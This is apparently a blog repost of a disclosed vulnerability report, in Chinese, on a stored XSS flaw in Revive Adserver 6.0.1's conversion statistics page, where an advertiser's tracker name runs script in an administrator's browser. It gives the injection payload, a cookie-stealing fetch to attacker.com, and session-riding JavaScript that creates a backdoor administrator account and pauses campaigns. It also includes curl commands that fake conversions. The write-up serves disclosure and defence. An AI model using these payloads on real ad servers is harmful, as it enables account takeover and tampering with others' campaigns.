Revive Adserver存储型XSS漏洞分析:通过跟踪器名称窃取管理员会话

本文详细分析了Revive Adserver中存在的存储型XSS漏洞,攻击者可通过恶意跟踪器名称注入JavaScript代码,在管理员查看转化统计时执行,实现权限提升和会话劫持攻击。

Revive Adserver存储型XSS漏洞分析

漏洞概述

报告ID: #3400506
漏洞类型: 存储型跨站脚本攻击(XSS)
受影响系统: Revive Adserver 6.0.1
CVE编号: CVE-2025-52668
严重程度: 高(8.7)

漏洞详情

受影响组件

  • 产品: Revive Adserver
  • 测试版本: 6.0.1
  • 组件: 统计/转化报告
  • 文件: www/admin/stats-conversions.php:356
  • URL: http://[host]/www/admin/stats.php?entity=conversions&clientid=[id]

漏洞代码

1
2
3
4
// www/admin/stats-conversions.php:356
echo "<td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['trackername']}</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['campaignid']}</td>
      <td align='$phpAds_TextAlignLeft' style='padding: 0 4px'>{$conversion['campaignname']}</td>";

问题分析

  • 跟踪器名称直接输出,未使用htmlspecialchars()转义
  • 数据来自广告商控制的输入(跟踪器创建表单)
  • 存储时没有输入验证来剥离HTML标签
  • 管理员查看转化报告时在其浏览器上下文中执行有效载荷

复现步骤

前提条件

  • 广告商账户(低权限)
  • 管理员账户(用于测试影响)

攻击步骤

  1. 以广告商身份登录并创建恶意跟踪器

    • 导航到:Inventory → Advertisers → 点击广告商名称 → Trackers标签
    • 点击"Add new tracker"
    • 设置跟踪器名称为:
      1
      
      <img src=x onerror="alert('XSS: ' + document.cookie)">
      
    • 设置跟踪器类型为"Sale",状态为"Active"
    • 点击"Save Changes"
  2. 创建转化记录

    1
    2
    3
    4
    5
    
    -- 将转化链接到恶意跟踪器
    INSERT INTO rv_data_intermediate_ad_connection (
        tracker_id, ad_id, inside_window, tracker_date_time,
        connection_date_time, connection_action, connection_status, updated
    ) VALUES (1, 1, 1, NOW(), NOW(), 1, 4, NOW());
    
  3. 以管理员身份查看统计

    • 访问:http://[host]/www/admin/stats.php?entity=conversions&clientid=1
    • 结果:JavaScript警报立即触发

技术分析

会话 riding vs 会话窃取

会话窃取(被HttpOnly阻止)

1
2
3
// 使用HttpOnly时此方法无效:
const stolen = document.cookie; // ← 被阻止
fetch('https://attacker.com?cookies=' + stolen); // 无法窃取会话ID

会话 riding(不被HttpOnly阻止)

1
2
3
4
5
6
7
8
9
// 即使有HttpOnly,此方法仍然有效:
const csrf = document.querySelector('[name=token]').value; // ← 从页面DOM获取

fetch('/www/admin/account-user-edit.php', {
 method: 'POST',
 credentials: 'include', // ← 浏览器自动发送HttpOnly cookie
 headers: {'Content-Type': 'application/x-www-form-urlencoded'},
 body: 'username=backdoor&password=evil&isAdmin=1&csrf=' + csrf
});

攻击复杂性

攻击者可以自行生成转化,无需:

  • 管理员配合
  • 真实广告展示
  • 第三方cookies
  • 菜单黑客

使用curl命令即可完成攻击:

1
2
3
4
5
6
# 1. 创建恶意跟踪器(作为广告商)
# 名称:<img src=x onerror="/* payload */">

# 2. 自行生成转化:
curl -c cookies.txt "http://ads.example.com/www/delivery/afr.php?zoneid=1&cb=$(date +%s)"
curl -b cookies.txt "http://ads.example.com/www/delivery/ti.php?trackerid=<my_tracker_id>&cb=$(date +%s)"

影响评估

数据泄露

  • 读取转化收入数据
  • 查看所有广告系列名称
  • 访问跟踪器元数据
  • 导出用户列表

管理员操作

通过会话riding可执行的操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// 1. 创建管理员账户
fetch('/www/admin/account-user-edit.php', {
 method: 'POST',
 credentials: 'include',
 body: 'username=attacker&isAdmin=1&csrf=' + getCsrfToken()
});

// 2. 修改广告系列设置
fetch('/www/admin/campaign-edit.php', {
 method: 'POST',
 credentials: 'include',
 body: 'campaignid=<competitor>&status=paused&csrf=' + getCsrfToken()
});

CVSS评分分析

最终评分: 8.7(高)

评分依据

  • 攻击向量:网络
  • 攻击复杂性:低
  • 权限要求:低
  • 用户交互:需要
  • 范围:改变
  • 机密性影响:高
  • 完整性影响:高
  • 可用性影响:无

修复方案

开发团队提供了补丁文件h1-3400506.patch,主要修复措施包括:

  • 对输出内容进行适当的HTML转义
  • 实施输入验证和过滤
  • 修复相关统计页面中的类似问题

时间线

  • 2025年10月26日: 漏洞报告提交
  • 2025年10月27日: 团队确认漏洞,初始评分为2.6(低)
  • 2025年10月28日: 经过技术讨论,评分更新为8.7(高)
  • 2025年11月5日: 计划安全发布
  • 2025年11月19日: 漏洞披露

该漏洞允许低权限广告商通过存储型XSS攻击完全控制管理员账户,展示了即使有HttpOnly保护,会话riding攻击仍然具有严重的安全影响。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计